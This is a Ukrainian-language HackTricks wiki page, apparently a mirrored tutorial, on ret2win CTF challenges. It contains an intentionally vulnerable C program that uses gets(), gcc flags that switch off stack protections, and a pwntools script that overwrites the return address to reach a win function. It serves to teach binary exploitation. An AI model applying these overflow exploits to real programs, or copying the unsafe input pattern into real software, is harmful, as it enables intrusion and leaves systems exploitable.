mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
109 lines
9.3 KiB
Markdown
109 lines
9.3 KiB
Markdown
# Ret2win
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
**Ret2win** завдання є популярною категорією в **Capture The Flag (CTF)** змаганнях, особливо в завданнях, що пов'язані з **binary exploitation**. Мета полягає в тому, щоб використати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт `win`, `flag` тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування **адреси повернення** в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:
|
||
|
||
### C Example
|
||
|
||
Розглянемо просту програму на C з вразливістю та функцією `win`, яку ми маємо намір викликати:
|
||
```c
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
|
||
void win() {
|
||
printf("Congratulations! You've called the win function.\n");
|
||
}
|
||
|
||
void vulnerable_function() {
|
||
char buf[64];
|
||
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
||
}
|
||
|
||
int main() {
|
||
vulnerable_function();
|
||
return 0;
|
||
}
|
||
```
|
||
Щоб скомпілювати цю програму без захисту стеку та з вимкненим **ASLR**, ви можете використати наступну команду:
|
||
```sh
|
||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||
```
|
||
- `-m32`: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF завданнях).
|
||
- `-fno-stack-protector`: Вимкнути захист від переповнень стеку.
|
||
- `-z execstack`: Дозволити виконання коду на стеку.
|
||
- `-no-pie`: Вимкнути Position Independent Executable, щоб адреса функції `win` не змінювалася.
|
||
- `-o vulnerable`: Назвати вихідний файл `vulnerable`.
|
||
|
||
### Python Exploit using Pwntools
|
||
|
||
Для експлойту ми використаємо **pwntools**, потужний фреймворк CTF для написання експлойтів. Скрипт експлойту створить payload для переповнення буфера та перезапису адреси повернення адресою функції `win`.
|
||
```python
|
||
from pwn import *
|
||
|
||
# Set up the process and context for the binary
|
||
binary_path = './vulnerable'
|
||
p = process(binary_path)
|
||
context.binary = binary_path
|
||
|
||
# Find the address of the win function
|
||
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
|
||
|
||
# Create the payload
|
||
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
|
||
payload = b'A' * 68 + win_addr
|
||
|
||
# Send the payload
|
||
p.sendline(payload)
|
||
p.interactive()
|
||
```
|
||
Щоб знайти адресу функції `win`, ви можете використовувати **gdb**, **objdump** або будь-який інший інструмент, який дозволяє вам перевіряти бінарні файли. Наприклад, з `objdump` ви можете використовувати:
|
||
```sh
|
||
objdump -d vulnerable | grep win
|
||
```
|
||
Ця команда покаже вам асемблер функції `win`, включаючи її початкову адресу.
|
||
|
||
Python-скрипт надсилає ретельно підготовлене повідомлення, яке, оброблене функцією `vulnerable_function`, переповнює буфер і перезаписує адресу повернення в стеку адресою `win`. Коли `vulnerable_function` повертається, замість повернення до `main` або виходу, вона переходить до `win`, і повідомлення виводиться.
|
||
|
||
## Захист
|
||
|
||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **повинен бути вимкнений**, щоб адреса була надійною між виконаннями, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб з'ясувати, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є `read` або подібною, ви можете зробити **Часткове Перезаписування** 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є **1/16 шанс** (1 нібль) отримати правильну адресу повернення.
|
||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
||
|
||
## Інші приклади та посилання
|
||
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
|
||
- 32 біт, без ASLR
|
||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
|
||
- 64 біти з ASLR, з leak адреси бінарника
|
||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
|
||
- 64 біти, без ASLR
|
||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||
- 32 біти, без ASLR, подвійне мале переповнення, спочатку переповнити стек і збільшити розмір другого переповнення
|
||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||
- 32 біт, relro, без канарки, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
|
||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
|
||
- 32 біт, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
|
||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
|
||
- 32 біт, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
|
||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||
- Програма лише перевіряє останній байт числа, щоб перевірити розмір введення, тому можливо додати будь-який розмір, якщо останній байт знаходиться в дозволеному діапазоні. Тоді введення створює переповнення буфера, яке експлуатується за допомогою ret2win.
|
||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||
- 64 біти, relro, без канарки, nx, pie. Часткове перезаписування для виклику функції win (ret2win)
|
||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||
- arm64, PIE, він дає leak PIE, функція win насправді є 2 функціями, тому ROP гаджет, який викликає 2 функції
|
||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||
- ARM64, off-by-one для виклику функції win
|
||
|
||
## ARM64 Приклад
|
||
|
||
|
||
{{#ref}}
|
||
ret2win-arm64.md
|
||
{{#endref}}
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|